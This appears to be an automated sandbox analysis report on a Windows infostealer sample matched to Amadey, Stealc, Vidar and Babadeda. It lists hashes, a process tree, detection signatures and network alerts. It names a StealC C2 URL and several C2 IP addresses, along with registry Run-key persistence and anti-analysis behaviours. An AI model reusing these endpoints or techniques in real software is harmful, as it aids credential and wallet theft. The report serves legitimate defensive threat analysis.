Edit tour

Windows Analysis Report
6SoKuOqyNh.exe

Overview

General Information

Sample name:	6SoKuOqyNh.exe renamed because original name is a hash value
Original sample name:	33a84ea233fe9fe1b4c85e533a228bbd.exe
Analysis ID:	1483008
MD5:	33a84ea233fe9fe1b4c85e533a228bbd
SHA1:	413d73dd32bcce870cf5edd4b777051762882034
SHA256:	a777bbce91625e3261edebb334be8610372daaf0790763fc2fd085db35b8463d
Tags:	32exetrojan
Infos:

Detection

Amadey, Babadeda, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Yara detected Amadeys stealer DLL

Yara detected Babadeda

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file contains section with special chars

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

6SoKuOqyNh.exe (PID: 6284 cmdline: "C:\Users\user\Desktop\6SoKuOqyNh.exe" MD5: 33A84EA233FE9FE1B4C85E533A228BBD)

explorti.exe (PID: 964 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 33A84EA233FE9FE1B4C85E533A228BBD)

explorti.exe (PID: 3756 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 33A84EA233FE9FE1B4C85E533A228BBD)

explorti.exe (PID: 1944 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 33A84EA233FE9FE1B4C85E533A228BBD)

bfb8bb0dc7.exe (PID: 3152 cmdline: "C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe" MD5: 268974E398224E4C5F7D30F8221A5F93)

cmd.exe (PID: 8548 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingFHJDBKJKFI.exe (PID: 7368 cmdline: "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe" MD5: FDDCF49860999A5147F34179C07C4BC6)

cmd.exe (PID: 2720 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJKECAAAFH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingHJKECAAAFH.exe (PID: 6488 cmdline: "C:\Users\user\AppData\RoamingHJKECAAAFH.exe" MD5: 33A84EA233FE9FE1B4C85E533A228BBD)

d27375200a.exe (PID: 7132 cmdline: "C:\Users\user\1000003002\d27375200a.exe" MD5: 9FDE5445045E43D9507D20A2BBA50696)

cmd.exe (PID: 3236 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat C:\Users\user\1000003002\d27375200a.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 4088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 2488 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2104,i,2763615900740779582,2928717422686434053,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

firefox.exe (PID: 6460 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1032 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4512 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7904 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f267dd4-7cc3-4504-b66d-b554eae41855} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 1892526ad10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4236 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -parentBuildID 20230927232528 -prefsHandle 3208 -prefMapHandle 3204 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2957b26f-774e-48be-a5e4-6995945e05fa} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 189373ea410 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

msedge.exe (PID: 5448 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5408 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5280 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3768 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=3540 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8284 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8344 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 9004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7340 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2448 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6720 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6648 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7056 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

bfb8bb0dc7.exe (PID: 9104 cmdline: "C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe" MD5: 268974E398224E4C5F7D30F8221A5F93)

d27375200a.exe (PID: 2704 cmdline: "C:\Users\user\1000003002\d27375200a.exe" MD5: 9FDE5445045E43D9507D20A2BBA50696)

cmd.exe (PID: 2752 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat C:\Users\user\1000003002\d27375200a.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 3404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 9020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,9310775074731790964,8760316038364529683,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account" MD5: BF154738460E4AB1D388970E1AB13FAB)

firefox.exe (PID: 1048 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7304 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus users.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\1000003002\d27375200a.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000032.00000002.3100288040.0000000000831000.00000040.00000001.01000000.00000018.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.3089031616.000000000275A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000002.3088875325.0000000002740000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1400:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000003.2232316189.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2245619240.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2273315501.0000000000E11000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2245966908.00000000009F1000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2203138174.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.3085036724.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000024.00000002.3088348052.00000000026F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.3085641302.000000000270D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1250:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000002F.00000002.3316222838.0000000000CA1000.00000040.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000032.00000003.3056372409.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2286029441.0000000000E11000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.3085791494.0000000002727000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002F.00000003.3027185074.0000000005000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2691951634.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: bfb8bb0dc7.exe PID: 3152	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: bfb8bb0dc7.exe PID: 3152	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: bfb8bb0dc7.exe PID: 3152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bfb8bb0dc7.exe PID: 3152	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bfb8bb0dc7.exe PID: 9104	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: bfb8bb0dc7.exe PID: 9104	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
37.2.d27375200a.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
12.0.d27375200a.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
4.2.explorti.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
50.2.RoamingHJKECAAAFH.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.0.d27375200a.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
2.2.6SoKuOqyNh.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.d27375200a.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
47.2.RoamingFHJDBKJKFI.exe.ca0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.explorti.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 1944, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bfb8bb0dc7.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe, ProcessId: 3152, TargetFilename: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 1944, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bfb8bb0dc7.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:55:49.362969+0200
SID:	2856147
Source Port:	63720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:51:15.536510+0200
SID:	2856147
Source Port:	63374
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:25.792417+0200
SID:	2803304
Source Port:	59020
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:10.304450+0200
SID:	2044248
Source Port:	58985
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:09.387132+0200
SID:	2044247
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:11.739705+0200
SID:	2011803
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:12.374824+0200
SID:	2009080
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T13:48:08.348549+0200
SID:	2856147
Source Port:	59328
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:11.829224+0200
SID:	2011803
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:53:00.518191+0200
SID:	2856147
Source Port:	63511
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:48.429984+0200
SID:	2044243
Source Port:	59095
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:11.917939+0200
SID:	2011803
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T13:49:33.865966+0200
SID:	2803304
Source Port:	59056
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:12.181357+0200
SID:	2011803
Source Port:	80
Destination Port:	58985
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.114.59.183 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:48:51.347519+0200
SID:	2022930
Source Port:	443
Destination Port:	58980
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:08.937121+0200
SID:	2044243
Source Port:	58985
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.6 - Destination IP: 185.215.113.16

Timestamp:	2024-07-26T13:49:05.395942+0200
SID:	2803305
Source Port:	58982
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.6

Timestamp:	2024-07-26T13:49:24.752381+0200
SID:	2002725
Source Port:	80
Destination Port:	59020
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.19

Timestamp:	2024-07-26T13:51:59.714199+0200
SID:	2856147
Source Port:	63432
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 85.28.47.31

Timestamp:	2024-07-26T13:49:11.658964+0200
SID:	2803304
Source Port:	58985
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

